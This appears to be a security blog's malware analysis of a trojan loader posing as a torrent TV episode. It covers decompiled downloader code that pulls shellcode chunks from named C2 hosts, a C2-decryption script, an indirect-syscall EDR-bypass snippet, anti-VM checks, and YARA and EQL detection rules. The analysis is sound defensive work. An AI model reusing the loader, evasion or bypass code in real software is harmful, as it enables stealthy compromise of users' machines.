Technical Analysis & Reverse Engineering: Multi-Stage Steganographic Trojan Loader

Technical Analysis & Reverse Engineering: Multi-Stage Steganographic Trojan Loader (Lanterns 2026)

Author: Security Research & Malware Analysis Lab

Date: August 31, 2026

Target Sample: Lanterns 2026 S01E03 1080p HD H264-CAKES.exe

Threat Category: Trojan Downloader / Steganography Stager / EDR Evasion Loader


The Hidden Cost of “Free” Entertainment: The Anatomy of a Torrent Trap

Every single day, millions of people browse torrent trackers in search of the latest movies, software, and TV shows. The allure of “free” entertainment is powerful, and most users believe the worst thing that could happen is a copyright warning letter from their internet provider or a slow download.

The reality of modern cyber threats is far more dangerous.

Torrent ecosystems have become one of the primary delivery highways for advanced cybercrime syndicates, initial access brokers, and state-sponsored threat actors. What looks like an ordinary scene release is often a trojan horse engineered to compromise your computer, harvest your banking credentials, steal your session tokens, or recruit your machine into a global botnet.

As a security researcher, I intentionally downloaded a suspicious torrent file โ€” Lanterns 2026 S01E03 1080p HD H264-CAKES.exe โ€” into an isolated, hardened analysis lab specifically for educational research and threat intelligence purposes.

To an unsuspecting user, this file mimics the exact naming convention of a popular scene release torrent. But instead of an .mp4 or .mkv video file, the payload is a compiled 64-bit Windows executable (.exe). When double-clicked on a typical home computer, nothing appears on screen โ€” no video player opens, and no error message appears.

Beneath that quiet surface, however, an elaborate multi-stage cyber weapon springs to life. It secretly scans your CPU to see if you are watching it, sleeps quietly to outlast automated antivirus scanners, bypasses Endpoint Detection and Response (EDR) hooks using direct kernel syscalls, and reaches out across the internet to download weaponized shellcode hidden inside ordinary image files.

In this deep-dive investigation, I walk you through the entire end-to-end technical analysis. We will reverse engineer the malware’s custom encryption in Ghidra, outsmart its anti-virtual machine defenses in Proxmox, control its execution in x64dbg, and intercept its live command-and-control beacons on the wire in Wireshark.

Figure: 6-Stage Multi-Phase Malware Reverse Engineering Architecture & Workflow
Figure: 6-Stage Multi-Phase Malware Reverse Engineering Architecture & Workflow

Pedagogical Guide: The 7 Phases of Malware Analysis Explained

For practitioners and students learning malware analysis, understanding why each phase is performed in this specific sequence is the cornerstone of professional reverse engineering.

Figure: The 7 Fundamental Phases of Malware Analysis Methodology
Figure: The 7 Fundamental Phases of Malware Analysis Methodology
PhasePurpose & AnalogyWhy It Was Done in This OrderKey Tools Used
1. Basic Static AnalysisInspecting the Envelope: Examining file properties, strings, and PE headers without running code.Safety first. Identifies quick indicators (e.g. image URLs) and prevents accidental infection.strings.exe, capa.exe, Detect It Easy
2. Advanced Static AnalysisReading the Blueprint: Reversing compiled machine code into C source code in a decompiler.Necessary when strings are encrypted. Revealed the 24 KB Feistel cipher and unmasked C2 servers.Ghidra, Python
3. Lab HardeningCloaking the Sandbox: Removing all hypervisor and virtual machine artifacts.The malware terminated immediately on first run because it detected default sandbox flags.Proxmox 100.conf, PowerShell
4. Advanced Dynamic AnalysisControlling Time in a Debugger: Pausing the CPU, inspecting registers, and steering execution.Bypassed the 10-minute anti-sandbox dormancy delay in 2 seconds and intercepted live heartbeat data.x64dbg
5. Network Traffic AnalysisWatching the Wire: Capturing raw network packets during execution.Provides forensically sound proof of the DNS resolution, TLS session, and payload chunk download.Wireshark
6. Payload ReconstructionExamining the Cargo: Reassembling the secondary stage payload to determine objective.The .exe was only the delivery truck (Stage 1). We needed to analyze the actual weapon (Stage 2).Python, objdump
7. Detection EngineeringBuilding Defenses: Writing signatures and detection rules for SIEM/SOC operations.The ultimate objective of malware analysis is defending enterprise networks against future attacks.YARA, Elastic EQL, ES|QL

Key Indicators of Compromise (IOCs)

Indicator TypeValueContext
File NameLanterns 2026 S01E03 1080p HD H264-CAKES.exeMasqueraded Scene Release Torrent
File Size2,043,488 bytes (~2.04 MB)64-bit PE32+ Executable
MD5a0b13781edd7cfdab13d79afff3c83c1Loader Binary
SHA-1c6be795db1473905573d22fb1eb8ef8d021c23b0Loader Binary
SHA-256ffde504e8e5b22b0e3a1a1760812d68e87fc9d98a93006d79e23af012443e697Loader Binary
Primary C2 Serverhttps://deadhub.org/ (93.89.223.181:443)Encrypted TLS (Nginx on Ubuntu)
Fallback C2 Serverhttp://193.23.118.155:80Plaintext HTTP (Nginx)
Staged Memory Section.fdata (RVA 0x167000, Size: 524,288 bytes)Memory buffer for reassembled payload
Stage-2 Payload Size128,015 bytes (4 chunks: 32,003B $\times$ 3 + 32,006B)64-bit Polymorphic XOR Shellcode
Live Heartbeat Format{"event":"heartbeat","sid":"","ts":}Beacon telemetry structure

Phase 1: Basic Static Analysis & Capability Mapping

1.1 Social Engineering Delivery Vector

The file utilizes scene release masquerading by appending .exe to standard scene syntax (...-CAKES). Users attempting to open the video file inadvertently launch the loader stub.

1.2 Targeted String Extraction

To extract strings without executing the binary, Sysinternals strings.exe was executed in PowerShell:

strings.exe -accepteula -nobanner 'Lanterns 2026 S01E03 1080p HD H264-CAKES.exe' | Select-String -Pattern "cloud|dist|acc|event|heartbeat|deadhub"

Analytical Observations:

1. Telemetry Structure: The binary contains a hardcoded JSON format string for client heartbeat beacons.

2. Steganographic Lure URIs: Exactly 12 hardcoded paths mimicking legitimate cloud sync, software distribution, and accounting web assets.

3. Absence of Plaintext Domains: Neither deadhub.org nor 193.23.118.155 appeared in plaintext strings, confirming that C2 endpoints were encrypted.


1.3 Mandiant CAPA Capability Triage

Mandiant capa.exe was executed against the binary to map capabilities against the MITRE ATT&CK framework:

capa.exe 'Lanterns 2026 S01E03 1080p HD H264-CAKES.exe'

Key Findings:

  • Defense Evasion [T1027, T1055.003, T1620]: Reflective code loading, thread execution hijacking, and obfuscated data.
  • Discovery [T1010, T1012, T1082]: Querying system registry, memory capacity via GlobalMemoryStatusEx, and application windows.
  • Anti-Debugging: Checking for software breakpoints and calculating execution timing delays via GetTickCount and SleepEx.
  • Runtime Linking: Parsing PE exports and walking the PEB ldr_data using FNV-1a API hashing.

1.4 PE Header & Memory Map Anomalies

Inspection of the PE section headers in Ghidra (Window -> Memory Map) revealed severe structural anomalies:

Section Map Breakdown:
  .text     [0x140001000 - 0x14001c9ff] Size: 0x1ba00  (113 KB) - Executable Code
  .data     [0x14001d000 - 0x1401665ff] Size: 0x149600 (1.35 MB) - Encrypted S-Boxes & State
  .fdata    [0x140167000 - 0x1401e6fff] Size: 0x80000  (512 KB) - Non-Standard Custom Section
  .rdata    [0x1401e7000 - 0x1401e8dff] Size: 0x1e00   (7.6 KB) - Read-Only Constants
  .rsrc     [0x1401f2000 - 0x1401f8fff] Size: 0x7000   (28 KB)  - Resources
  • Disproportionate Code-to-Data Ratio: Executable code accounts for only ~5.5% of the binary, while .data and .fdata consume >90% of the total file size.
  • Custom Section (.fdata): Exactly 512 KB ($524,288\text{ bytes} = 0x80000$) allocated as an in-memory staging target for the secondary payload.

Phase 2: Advanced Static Analysis in Ghidra

2.1 Filtering Compiler Runtime Boilerplate

MinGW-w64 runtime initialization code (pseudo-reloc.c) calls VirtualProtect at FUN_140001a70 and FUN_140001d4f. By inspecting strings ("Address %p has no image-section"), these functions were categorized as benign runtime setup and excluded.


2.2 Payload Download & Staging Analysis (FUN_140018800)

Tracing write cross-references to .fdata led directly to FUN_140018800:

x64dbg Graph View of Master Coordinator Logic
x64dbg Graph View of Master Coordinator Logic

Figure 4: Ultra-HD control flow graph in x64dbg mapping the decision branches of the master coordinator routine.

Disassembly of Sleep Loop and WinINet Downloader
Disassembly of Sleep Loop and WinINet Downloader

Figure 5: Assembly instruction disassembly in x64dbg showing the dormancy Sleep loop and download trigger.

// 1. Protocol and Port Detection
if (is_https) {
    local_1f4 = 0x1bb;  // Port 443
    _Src = param_1 + 8; // Skip "https://"
    uVar10 = 1;         // SSL Enabled
} else {
    local_1f4 = 0x50;   // Port 80
    _Src = param_1 + 7; // Skip "http://"
    uVar10 = 0;         // SSL Disabled
}
// 2. Select 1 of 3 Lure Themes via rand() % 3
// Theme 0: /cloud/v192.4/...
// Theme 1: /dist/v3.5.2/...
// Theme 2: /acc/v3.0.12/...
// 3. Four-Chunk Download Loop with Jitter
while (chunk_index < 4) {
    if (chunk_index != 0) {
        Sleep(rand() % 15000 + 5000); // 5 to 20 second delay between requests
    }
    
    // Download chunk via WinINet
    FUN_1400167a0(domain, selected_paths[chunk_index], port, is_ssl, &chunk_buf, &chunk_len);
    
    // 30 KB Size Validation Check (defeats 404 error responses)
    if ((chunk_len < 30000) || (total_downloaded + chunk_len > 0x80000)) {
        return false;
    }
    
    // Copy chunk directly into .fdata
    memcpy(&DAT_140167000 + total_downloaded, chunk_buf, chunk_len);
    total_downloaded += chunk_len;
    LocalFree(chunk_buf);
}

2.3 Cryptographic Deconstruction of the 24 KB Feistel S-Box Cipher (FUN_14001ad20)

The loader stores encrypted state tables in .data alongside hardcoded stack keys.

Mathematical Formulation:

For each byte $i \in [0, \text{length}-1]$ of key $K$:

$$\text{Transform}(x, y) = \left(\left(\left((x \oplus y) \oplus 0\text{xA5}\right) \gg 5 \mid ((x \oplus y) \cdot 8) \oplus 0\text{x28}\right) \oplus 0\text{x5A}\right) \cdot 0\text{x2D} \pmod{2^{32}}$$

1. Round 1 (Reverse Diffusion):

$$b \leftarrow b \oplus \text{ROL}_8(\text{Transform}(i, j), 5) \oplus 0\text{xC3} \oplus \text{SBox}[\text{State}[j] + 0\text{x6000} + 32j] \quad \text{for } j \in \{2, 1, 0\}$$

2. Round 2 (Forward Feedback & State Update):

$$b’ \leftarrow b’ \oplus \text{ROL}_8(\text{Transform}(i, j), 5) \oplus 0\text{xC3} \oplus \text{SBox}[\text{State}[j] + 0\text{x6000} + 32j]$$

$$\text{State}[j] \leftarrow \text{SBox}[(32j + \text{State}[j]) \cdot 256 + b’] \quad \text{for } j \in \{0, 1, 2\}$$

Decryption Implementation in Python:

import struct
def decrypt_c2(pe_bytes, ct_rva, key_bytes):
    ct_offset = ct_rva - 0x1d000 + 0x1be00
    ciphertext = bytearray(pe_bytes[ct_offset : ct_offset + 0x6063])
    length = len(key_bytes)
    state = [ciphertext[0x6060], ciphertext[0x6061], ciphertext[0x6062]]
    output = bytearray(length)
    for i in range(length):
        b = key_bytes[i]
        for j in (2, 1, 0):
            u = ((((( (i ^ j) ^ 0xa5) & 0xff) >> 5) | (i ^ j) * 8 ^ 0x28) ^ 0x5a) * 0x2d & 0xffffffff
            b_rot = ((u & 0xff) ^ ((u >> 4) & 0xf)) & 0xff
            rot = ((b_rot >> 3) | (b_rot << 5)) & 0xff
            b = (b ^ rot ^ 0xc3 ^ ciphertext[state[j] + 0x6000 + j * 0x20]) & 0xff
            
        b_feed = b
        for j in range(3):
            u = ((((( (i ^ j) ^ 0xa5) & 0xff) >> 5) | (i ^ j) * 8 ^ 0x28) ^ 0x5a) * 0x2d & 0xffffffff
            b_rot = ((u & 0xff) ^ ((u >> 4) & 0xf)) & 0xff
            rot = ((b_rot >> 3) | (b_rot << 5)) & 0xff
            b_feed = (b_feed ^ rot ^ 0xc3 ^ ciphertext[state[j] + 0x6000 + j * 0x20]) & 0xff
            state[j] = ciphertext[(j * 0x20 + state[j]) * 0x100 + b_feed]
            
        output[i] = b
    return bytes(output).decode(&#x27;latin1')
with open("Lanterns 2026 S01E03 1080p HD H264-CAKES.exe", "rb") as f:
    raw = f.read()
# Primary C2 Decryption:
k1 = struct.pack(&#x27;<QQI', 0x43e9ed78e37f5c41, 0xbd684dd8802e81e7, 0x52d66846)
print("Primary C2:", decrypt_c2(raw, 0x534a0, k1))
# Output: https://deadhub.org/
# Fallback C2 Decryption:
k2 = raw[0x1e75d0 - 0x1e7000 + 0x1e5400 : 0x1e75d0 - 0x1e7000 + 0x1e5400 + 16] + struct.pack(&#x27;<Q', 0x0000c32762541f5c)[:6]
print("Fallback C2:", decrypt_c2(raw, 0x71720, k2))
# Output: http://193.23.118.155/

2.4 EDR Bypass via Indirect Syscalls (FUN_140015fc0)

Once all 4 chunks are assembled in .fdata, FUN_140015fc0 transitions the memory protection to executable space:

// 1. Resolve ntdll.dll via custom PE loader
lVar6 = FUN_14001a450(L"ntdll.dll");
// 2. Resolve NtProtectVirtualMemory via FNV-1a hash (0xbd799926)
pcVar7 = (char *)FUN_14001a500(lVar6, 0xbd799926);
// 3. Extract SSN and scan memory forward for clean syscall instruction (\x0f\x05)
uVar2 = *(undefined4 *)(pcVar7 + 4);
while (*pcVar7 != '\x0f' || pcVar7[1] != '\x05') {
    pcVar7 = pcVar7 + 1;
}
// 4. Construct indirect syscall frame and transition .fdata to PAGE_EXECUTE_READWRITE (0x40)
puVar8[0x1a] = pcVar7;           // Clean syscall address in ntdll
*puVar8 = uVar2;                 // SSN
*(puVar8 + 8) = 0x40;            // flNewProtect = PAGE_EXECUTE_READWRITE
local_60 = &DAT_140167000;       // Target Buffer: .fdata
(*indirect_syscall_stub)();      // Execute unhooked indirect syscall

Phase 3: Lab Hardening & Defeating Anti-Analysis Evasion

3.1 Identifying Environmental Guardrails

When first executed, the malware exited silently within 15 seconds. Disassembly of the entry coordinator at 0x1400163a4 revealed four strict environmental checks:

1400163a4: test bl, bl          ; Check 1: KVM Hypervisor CPUID flag
1400163a6: jne  EXIT_AND_TERMINATE
1400163b1: test dil, dil        ; Check 2: SMBIOS System Manufacturer
1400163b4: je   EXIT_AND_TERMINATE
1400163ba: test r12b, r12b      ; Check 3: Username / Hostname Blacklist (admin, WinSandbox)
1400163bd: je   EXIT_AND_TERMINATE
1400163d6: jmp  FUN_140015fc0   ; (Reaches C2 only if all checks pass!)
Registry Check Exception during Sandbox Interrogation
Registry Check Exception during Sandbox Interrogation

Figure 6: x64dbg capturing process termination during environmental registry query in RegOpenKeyExInternalW.


3.2 Applied Proxmox & OS Hardening Configuration

1. Proxmox QEMU Configuration (/etc/pve/qemu-server/100.conf):

cpu: host,hidden=1,flags=+pcid
args: -cpu &#x27;host,kvm=off,hv_vendor_id=null' -smbios type=1,manufacturer="Dell Inc.",product="OptiPlex 7090",version="1.4.0",serial="8X74921"

2. Windows System & User Sanitization:

In PowerShell (Administrator):

# 1. Rename Hostname to OEM format
Rename-Computer -NewName "DESKTOP-7R9K4B2" -Force
# 2. Rename User Account from 'admin' to realistic name
Rename-LocalUser -Name "admin" -NewName "keino"
Set-LocalUser -Name "keino" -FullName "Keino"
# 3. Route DNS to Cloudflare (replaces FakeNet localhost 10.99.0.10 trap)
Set-DnsClientServerAddress -InterfaceAlias "Ethernet 2" -ServerAddresses "1.1.1.1", "8.8.8.8"

3. Verification:

Get-WmiObject Win32_ComputerSystem | Select-Object Name, Manufacturer, Model
CheckInitial Sandbox StateHardened Production State
Computer NameWinSandbox โŒDESKTOP-7R9K4B2 โœ…
User Accountadmin โŒkeino (Keino) โœ…
ManufacturerQEMU / Proxmox โŒDell Inc. โœ…
ModelStandard PC (Q35) โŒOptiPlex 7090 โœ…
Hypervisor BitCPUID ECX Bit 31 = 1 โŒHidden (kvm=off, hidden=1) โœ…

Phase 4: Advanced Dynamic Analysis in x64dbg

4.1 Navigating TLS Callbacks and Entry Breakpoints

TLS Callback 2 in x64dbg
TLS Callback 2 in x64dbg

Figure 5: x64dbg pausing at MinGW TLS Callback 2 during process initialization.

TLS Callback 3 in x64dbg
TLS Callback 3 in x64dbg

Figure 6: x64dbg stepping through MinGW TLS Callback 3.

Main Entry Point Breakpoint
Main Entry Point Breakpoint

Figure 7: Execution arriving at the main PE entry point (OptionalHeader.AddressOfEntryPoint at 00007FF695FD10F6).

CRT Startup Breakpoint
CRT Startup Breakpoint

Figure 8: x64dbg stepping through the MinGW CRT startup routine (00007FF695FD1155).


4.2 Bypassing Anti-Sandbox Dormancy (10-Minute Timer)

Steering Execution and Resolving Memory Pointers
Steering Execution and Resolving Memory Pointers

Figure 11: Debugging instruction pointers and validating memory register dereferences in x64dbg.

Worker Thread in SleepEx Call Stack
Worker Thread in SleepEx Call Stack

Figure 9: Call Stack panel in x64dbg revealing active worker Thread 7064 halted inside ntdll.ZwDelayExecution / kernelbase.SleepEx.

Setting Execution Origin in x64dbg
Setting Execution Origin in x64dbg

Figure 10: Setting RIP directly to 00007FF695FE5B71 using ‘Set RIP Here’ (Ctrl + ) with live generated session ID ‘ymPAwwrLYalnyv8td9r7cqszC8Q4OyVO’.*

Stack Memory Showing Formatted JSON Heartbeat
Stack Memory Showing Formatted JSON Heartbeat

Figure 11: Live stack memory dump in x64dbg capturing the formatted client heartbeat beacon structure.

Execution Steps:

1. Attach Debugger: Opened x64dbg -> Alt + A -> Attached to Lanterns 2026... (PID: 3392).

2. Switch to Worker Thread: Alt + T -> Double-clicked active worker thread (Thread 7064).

3. Inspect Call Stack: Ctrl + K -> Double-clicked lanterns 2026...00007FF695FE5B21 (caller of SleepEx).

4. Intercept Heartbeat Telemetry: Inspected the RSP stack at offset 0x00007FF695FE5B7A:

{"event":"heartbeat","sid":"ymPAwwrLYalnyv8td9r7cqszC8Q4OyVO","ts":1767298470}

5. Set Execution Origin:

  • Pressed Ctrl + G -> Typed 00007FF695FE5FC0 (FUN_140015fc0 Coordinator).
  • Right-clicked -> Set New Origin Here (Ctrl + *).
  • Pressed F9 (Run).

Phase 5: Network Traffic Capture & Protocol Verification (Wireshark)

5.1 Isolating Background Noise

Initial Wireshark View Showing Elastic Telemetry Noise
Initial Wireshark View Showing Elastic Telemetry Noise

Figure 12: Raw Wireshark capture flooded by local Elastic Agent port 9200 TLS telemetry.

Wireshark Capturing Microsoft CDN Noise
Wireshark Capturing Microsoft CDN Noise

Figure 13: Wireshark capture showing background Microsoft Edge updates from Akamai CDN 23.210.73.83 before filtering.

To eliminate noise from the local Elastic Agent (192.168.1.236:9200) and Microsoft Edge CDNs (23.210.73.83), the following Wireshark filter was applied on interface Ethernet 2:

ip.addr == 93.89.223.181 || ip.addr == 193.23.118.155 || (dns && dns.qry.name contains "deadhub")

5.2 Network Protocol Handshake Analysis

Wireshark Live C2 Traffic Capture
Wireshark Live C2 Traffic Capture

Figure 14: Ultra-HD live Wireshark capture verifying DNS resolution to deadhub.org (93.89.223.181), TLS 1.2 handshake, and reassembled 32,003-byte HTTP image chunk streams.

Figure: Network Protocol & Payload Delivery Sequence Diagram (DNS, TLS 1.2, HTTP Streams)
Figure: Network Protocol & Payload Delivery Sequence Diagram (DNS, TLS 1.2, HTTP Streams)

Captured Telemetry Breakdown:

  • Frame 184580: 10.99.0.10 -> 1.1.1.1 | DNS | Standard query 0xdb4a A deadhub.org
  • Frame 184581: 1.1.1.1 -> 10.99.0.10 | DNS | Standard query response A 93.89.223.181
  • Frame 184583: 10.99.0.10 -> 93.89.223.181 | TCP | [SYN] Port 50124 -> 443
  • Frame 184620: TLSv1.2 Client Hello (SNI=deadhub.org)
  • Frame 184626: Reassembled TCP Segments: 32,003 bytes downloaded from deadhub.org

Phase 6: Stage-2 Payload Reconstruction & Shellcode Disassembly

6.1 Multi-Part Chunk Retrieval & Reassembly

The four payload image chunks were retrieved directly from https://deadhub.org/ and reassembled into stage2_payload.bin:

Chunk 1: /cloud/v192.4/ui/sync-status-icons.png        --> 32,003 bytes
Chunk 2: /cloud/v192.4/onboarding/welcome-bg.jpg       --> 32,003 bytes
Chunk 3: /cloud/v192.4/ui/file-preview-placeholder.png --> 32,003 bytes
Chunk 4: /cloud/v192.4/shared/link-banner.jpg          --> 32,006 bytes
----------------------------------------------------------------------
Total Reassembled Stage-2 Payload:                       128,015 bytes (~128 KB)

6.2 Disassembly of the Stage-2 Entry Point

Disassembly of stage2_payload.bin confirms a 64-bit Position-Independent JMP-CALL-POP polymorphic XOR shellcode decryptor:

0x0000:  sub   rbx, rbx            ; Clear registers
0x0010:  sub   rcx, rcx            
0x0013:  mov   rdi, 0x0            
0x001a:  jmp   0x70                ; Jump forward to call stub
0x001c:  pop   rdx                 ; Pop shellcode base pointer into RDX
0x002a:  xor   rdx, rdi            ; Polymorphic XOR decryption loop
0x002d:  add   rax, rcx            
0x0030:  lea   rcx, [rcx + 1]      
0x0041:  cmp   ecx, edi            
0x0043:  jne   0x2d                ; Decrypts 128KB payload in memory

6.3 Memory Dumping from x64dbg

To dump the reassembled stage-2 shellcode directly from memory in FLARE VM:

1. In x64dbg, press Alt + M (Memory Map).

2. Locate section .fdata at address 0x00007FF696137000 (Size: 0x80000 / 512 KB).

3. Right-click -> Dump Memory to File -> Save as stage2_payload_dump.bin.


Phase 7: Threat Hunting & Detection Engineering Signatures

7.1 YARA Signature

rule Trojan_Win64_Lanterns_StegoLoader {
    meta:
        description = "Detects Lanterns 2026 multi-part steganographic trojan loader"
        author = "Security Research Lab"
        date = "2026-08-31"
        hash1 = "ffde504e8e5b22b0e3a1a1760812d68e87fc9d98a93006d79e23af012443e697"
        tlp = "TLP:CLEAR"
    strings:
        $str_heartbeat = "{\"event\":\"heartbeat\",\"sid\":\"%s\",\"ts\":%lu}" ascii
        $path_cloud1 = "/cloud/v192.4/ui/sync-status-icons.png" ascii
        $path_cloud2 = "/cloud/v192.4/onboarding/welcome-bg.jpg" ascii
        $path_dist1  = "/dist/v3.5.2/assets/logo.png" ascii
        $path_dist2  = "/dist/v3.5.2/assets/splash-screen.png" ascii
        $path_acc1   = "/acc/v3.0.12/ui/report-chart-bg.jpg" ascii
        $path_acc2   = "/acc/v3.0.12/print/form-template-header.jpg" ascii
        $sec_fdata = ".fdata" ascii
    condition:
        uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550 and
        $sec_fdata and
        $str_heartbeat and
        2 of ($path_cloud*, $path_dist*, $path_acc*) and
        filesize > 1800KB and filesize < 3000KB
}

7.2 Elastic EQL Rule (Correlating Network Staging + Memory Protection Transition)

sequence by process.entity_id with maxspan=1m
  [network where event.type : "start" and
     (
       http.request.uri : "/cloud/v192.4/*" or
       http.request.uri : "/dist/v3.5.2/*" or
       http.request.uri : "/acc/v3.0.12/*" or
       destination.ip : ("93.89.223.181", "193.23.118.155") or
       dns.question.name : "deadhub.org"
     )
  ]
  [process where event.action : "memory-protection-modified" or 
     process.Ext.api.name : ("VirtualProtect*", "NtProtectVirtualMemory*")
  ]

7.3 Kibana ES|QL Detection Query

FROM logs-endpoint.events.network-*
| WHERE destination.ip IN ("93.89.223.181", "193.23.118.155") 
     OR dns.question.name == "deadhub.org"
     OR http.request.uri LIKE "/cloud/v192.4/*"
     OR http.request.uri LIKE "/dist/v3.5.2/*"
     OR http.request.uri LIKE "/acc/v3.0.12/*"
| STATS count() by host.name, process.name, process.pid, destination.ip, http.request.uri
| SORT count DESC

Conclusion

The Lanterns 2026 executable is a modern, defense-evasive steganographic loader designed to evade traditional sandbox detection and endpoint monitoring. Through systematic analysis combining static decompilation in Ghidra, lab hypervisor hardening on Proxmox, dynamic execution control in x64dbg, and packet inspection in Wireshark, the entire threat lifecycle was unmasked and neutralized.

This comprehensive research paper documents a repeatable, battle-tested methodology for defeating advanced anti-VM protections and reverse engineering multi-stage malware.

Leave a Reply

Your email address will not be published. Required fields are marked *